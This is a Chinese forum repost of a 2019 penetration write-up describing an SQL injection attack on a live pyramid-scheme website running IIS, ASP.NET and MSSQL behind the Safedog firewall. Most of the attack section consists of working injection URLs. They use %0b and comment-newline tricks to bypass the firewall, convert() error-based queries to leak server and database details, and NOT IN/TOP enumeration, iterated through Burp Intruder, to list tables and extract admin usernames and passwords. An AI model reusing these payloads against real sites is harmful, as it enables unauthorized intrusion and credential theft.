搜索

[18500] 2019-11-29_记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文档创建者：s7ckTeam
浏览次数：15
最后更新：2025-01-18
2019-11-29_记一次对某非法站点从SQL注入到整站打包与本地搭建全过程 记 一 次 对 某 非 法 站 点 从 S Q L 注 入 到 整 站 打 包 与 本 地 搭 建 全 过 程 G u o k e r   H A C K 学 习 呀   2 0 1 9 - 1 1 - 2 9 一 、 前 言 一 、 前 言 如 题 ， 由 于 是 在 已 知 有 一 处 s q l 注 入 的 情 况 下 才 接 手 进 行 的 后 续 操 作 ， 因 此 前 面 信 息 搜 集 则 一 笔 带 过 。 二 、 信 息 搜 集 二 、 信 息 搜 集 目 标 是 个 本 地 的 传 销 站 点 其 大 致 信 息 为 I I S + A S P . N E T + 安 全 狗 、 腾 讯 云 。 三 、 三 、 B y p a s s   S q l 3 . 1   F u z z 1 2 3 4 5 6 7 8 9 1 0 1 1 空 格     e r r o r 加 号     未 拦 截 等 号     e r r o r 单 引 号     e r r o r 双 引 号     未 拦 截 双 括 号     未 拦 截 + s e l e c t     e r r o r % 0 b s e l e c t   未 拦 截 % 0 b s e l e c t % 0 b u s e r % 0 b f r o m   未 拦 截 % 0 b s e l e c t % 0 b u s e r % 0 b f r o m % 0 b a d m i n   拦 截 c o n v e r t ( )   未 拦 截 根 据 如 上 测 试 可 以 看 出 程 序 本 身 也 有 过 滤 ， e r r o r 为 程 序 自 身 的 过 滤 。 可 以 利 用 I I S 处 理 % 符 号 的 机 制 绕 过 部 分 符 号 ， 例 如 空 格 使 用 % 0 b   加 号 使 用 % 2 b 等 。 再 根 据 测 试 的 结 果 ， 可 以 先 利 用 c o n v e r t 转 换 报 错 获 取 一 部 分 信 息 。
1 2 3 4 5 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , @ @ v e r s i o n ) # 版 本 信 息 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , d b _ n a m e ( ) ) # 数 据 库 信 息 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , u s e r _ n a m e ( ) ) # 当 前 数 据 库 用 户 … … t i p s ： 可 以 通 过 遍 历 d b _ n a m e ( 1 ) 中 的 数 字 获 取 其 他 库 名 得 到 以 下 信 息 ： 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 A S P . N E T   版 本 ： M i c r o s o f t   . N E T   F r a m e w o r k   版 本 : 4 . 0 . 3 0 3 1 9 ;   A S P . N E T   版 本 : 4 . 0 . 3 0 3 1 9 . 3 6 4 0 0 数 据 库 版 本 ： M i c r o s o f t   S Q L   S e r v e r   2 0 0 8   ( R T M )   -   1 0 . 0 . 1 6 0 0 . 2 2   ( X 6 4 ) 用 户 名 ： s a 计 算 机 名 ： 1 0 _ * _ 7 6 _ * S Q L E X P R E S S             1 0 . * . 7 6 . * 当 前 库 ： p a n 2 0 1 7 0 8 2 3 所 有 库 名 ： p a n 2 0 1 7 0 8 2 3 m a s t e r t e m p d b m o d e l m s d b R e p o r t S e r v e r $ S Q L E X P R E S S R e p o r t S e r v e r $ S Q L E X P R E S S T e m p D B 再 往 下 就 是 获 取 表 的 信 息 1 g o o d s c o n t e n t . a s p x ? g i d = C O N V E R T ( I N T , ( C H A R ( 5 8 ) % 2 b C H A R ( 5 8 ) % 2 b ( S E L E C T % 0 b t o p % 0 b 1 % 0 b C A S T ( C O U N T ( * ) % 0 b A S % 0 b n v a r c h a r ( 4 0 0 0 ) ) % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . T A B L E S % 0 b ) % 2 b C H A R ( 5 8 ) % 2 b C H A R ( 5 8 ) ) ) # 获 取 表 总 个 数 由 于 我 只 会 简 单 的 s e l e c t   f r o m 因 此 始 终 无 法 获 取 表 名 ， 如 果 有 其 他 姿 势 还 望 给 科 普 下 。
3 . 2   万 金 油 万 金 油 此 时 陷 入 僵 局 ， 后 来 想 起 在 4 0 4 大 佬 的 一 篇 b y p a s s 安 全 狗 的 文 章 中 提 到 过 在 m s s q l 中 注 释 加 换 行 同 样 成 立 ， 遂 构 造 之 。 1 2 g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b ) - - % 2 0 * / P S : 由 于 注 入 点 已 经 使 用 了 c o n v e r t 做 了 数 据 转 换 ， 后 续 直 接 防 入 查 询 即 可 获 取 到 第 一 个 表 名 ： j s r e c o r d 由 于 还 是 没 能 绕 过 单 引 号 和 等 号 ， 我 始 终 用 不 了 n o t   i n 与 f o r   x m l   p a t h 来 爆 后 续 的 表 名 ， 这 又 触 及 到 了 我 知 识 盲 区 ， 因 此 只 好 查 阅 大 量 文 章 案 例 ， 最 终 构 造 出 如 下 语 句 。
1 / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( S E L E C T % 0 b T O P % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b W H E R E % 0 b t a b l e _ n a m e % 0 b N O T % 0 b I N ( S E L E C T % 0 b T O P % 0 b 1 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . c o l u m n s ) ) - - % 2 0 * / 此 时 只 需 要 遍 历 t o p 的 数 值 即 可 ， 例 如 ： 1 / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( S E L E C T % 0 b T O P % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b W H E R E % 0 b t a b l e _ n a m e % 0 b N O T % 0 b I N ( S E L E C T % 0 b T O P % 0 b 8 0 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . c o l u m n s ) ) - - % 2 0 * / 通 过 不 断 的 遍 历 数 值 发 现 还 是 存 在 问 题 ， 举 个 例 子 ， 即   1 - 2 0 、 2 0 0 - 2 0 9 ， 3 3 4 - 3 4 5 返 回 同 一 个 表 名 ， 存 在 大 量 重 复 与 无 序 的 情 况 ， 但 可 以 通 过 b u r p 中 i n t r u d e r - > G r e p - E x t a c t 功 能 来 解 决 ， 操 作 如 下 ： 首 先 设 置 好 i n t r u d e r 对 0 0 1 - 6 0 0 进 行 遍 历 （ 超 过 6 0 0 多 后 就 没 什 么 内 容 了 ）

然 后 使 用 G r e p - E x t a c t 提 取 表 名 。

保 存 结 果 后 去 重 即 可 。
和 前 面 获 取 到 的 表 总 个 数 是 一 致 的 。 解 下 来 就 是 获 取 m e m b e r a d m i n 表 中 的 列 名 与 内 容 ， 但 在 此 之 前 我 还 是 习 惯 性 的 看 了 下 后 台 的 网 页 源 代 码 。
如 图 ， 盲 猜 列 名 t x t _ n i c k n a m e 、 n i c k n a m e 、 t x t _ p a s s w o r d 、 p a s s w o r d 1 / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b n i c k n a m e % 0 b f r o m % 0 b m e m b e r a d m i n ) - - % 2 0 * / 1 / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b p a s s w o r d % 0 b f r o m % 0 b m e m b e r a d m i n ) - - % 2 0 * /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理